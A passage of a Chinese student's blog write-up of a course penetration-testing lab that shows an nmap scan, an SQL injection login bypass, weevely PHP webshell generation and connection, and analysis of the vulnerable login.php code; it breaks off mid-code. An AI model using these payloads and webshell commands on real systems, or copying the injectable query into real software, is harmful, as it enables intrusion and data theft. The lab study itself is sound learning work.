前言
时间很快就来到了学期的最后一个月,和上学期一样,最后的几周是实训周,而这次实训恰好就是我比较喜欢的网络攻防,因为之前学过相关的知识,做过一些靶场,相比于其他同学做起来要快些,不过内网渗透也还是头一次,得益于这次的内网渗透靶场环境,小小地体验了一下,期间也踩了许多坑,也陆陆续续地解决掉了。所以就以本篇文章做个总结,目的在于梳理所学到地知识点和分享。
环境&工具
物理机 (win 10) ip:172.20.10.1
工具:蚁剑、火狐(hackbar插件)
攻击机(kali) ip:172.20.10.129
工具:MSF框架、Burpsuite、冰蝎、weevely、Nmap、Proxychains4 …
靶场拓扑图
![]() |
|---|
渗透过程
准备
首先需要拿到一个入口地址
在FW中查看
![]() |
|---|
这个是Web服务器的外网地址 10.100.1.104,直接访问是访问不到的,需要使用老师给的vpn。
这里直接在kali中配置vpn,
![]() |
|---|
得到一个10.200.0.77地址。(这里得到的地址会经常变,后面操作的时候可能会不一致)
渗透测试web服务器
刚刚通过查看FW防火墙的配置拿到了web服务器的地址10.100.1.104
信息收集
端口扫描
nmap -sT 10.100.1.104 -sV
# sT tcp三次握手扫描(默认为sT)
# sV 扫描服务的版本信息
![]() |
|---|
开放了80端口,web服务器是用Apache 2.2.15,操作系统为Centos
web渗透测试
登录处存在万能密码 or 1=1 #绕过
![]() |
|---|
![]() |
![]() |
成功进入到后台管理界面
在用户管理->头像编辑处存在文件上传绕过检测漏洞
![]() |
|---|
使用kali自带的weevely工具生成php后门
weevely generate 123456 backdoor.php
![]() |
|---|
进行上传
![]() |
|---|
![]() |
![]() |
在头像处找到后门的上传地址
![]() |
|---|
![]() |
连接php后门
weevely http://10.100.1.104/avatar/admin.php 123456
![]() |
|---|
已经成功拿到一个webshell权限
漏洞分析
sql注入漏洞分析
刚刚是用sql注入进入的后台,burp抓包发现是请求的login.php文件,接下来对该文件进行分析。
# 省略了无关紧要的代码
<?php
if (isset($_POST['submit'])) {
include 'config/dbconnect.php';
// Get input
$email = $_POST['email'];
$password = md5($_POST['password']);
// Check database
$query = "SELECT username, isadmin FROM users WHERE email = '$email' and password = '$password';";
$result = mysqli_query($conn, $query);
$num = @mysqli_num_rows($result); // The '@' character suppresses errors
if ($num > 0) {
// Feedback for end user
while ($row = mysqli_fetch_assoc($result)) {
$_SESSION['logged'] = true;
$_SESSION['username'] = $row["username"];
if ($row["isadmin"] == 1) {
$_SESSION['isadmin'] = true;
} else {
$_SESSION['isadmin'] = false;
}
header("Location: http://" . $_SERVER['HTTP_HOST'] . "/admin.php?page=dashboard");
}
} else {
// Feedback for end user
$_SESSION['logged'] = false;
echo "<script>$('#login-alert').removeClass('d-none')</script>";
}
mysqli_close($conn);
}
?>
全局变量POST接收了email和password,登录的sql语句为
$query = "SELECT username, isadmin FROM users WHERE email = '$email' and password = '$password';";
可以发现没怎么过滤,传入的密码进行md5加密,我们在email处构造的万能密码admin'or 1=1 #,拼接到sql语句中为
$query = "SELECT username, isadmin FROM users WHERE email = 'admin'or 1=1 #' and password = '$password';";
sql语句中#为注释符,这里真正执行的sql语句为
SELECT username, isadmin FROM users WHERE email = 'admin'or 1=1;
'admin' or 1=1 这个where条件,会查询出所有的用户名。
查询得记录值不少于1条就会进入if语句,进而执行$_SESSION['logged'] = true;。
if ($num > 0) {
// Feedback for end user
while ($row = mysqli_fetch_assoc($result)) {
$_SESSION['logged'] = true;
$_SESSION['username'] = $row["username"];
if ($row[

本文详细记录了一次内网渗透的过程,包括web服务器的登录漏洞、文件上传绕过、SQL注入、提权Linux到root,以及后续的Windows服务器渗透,展示了从信息收集到权限升级的完整流程。
















2189

被折叠的 条评论
为什么被折叠?



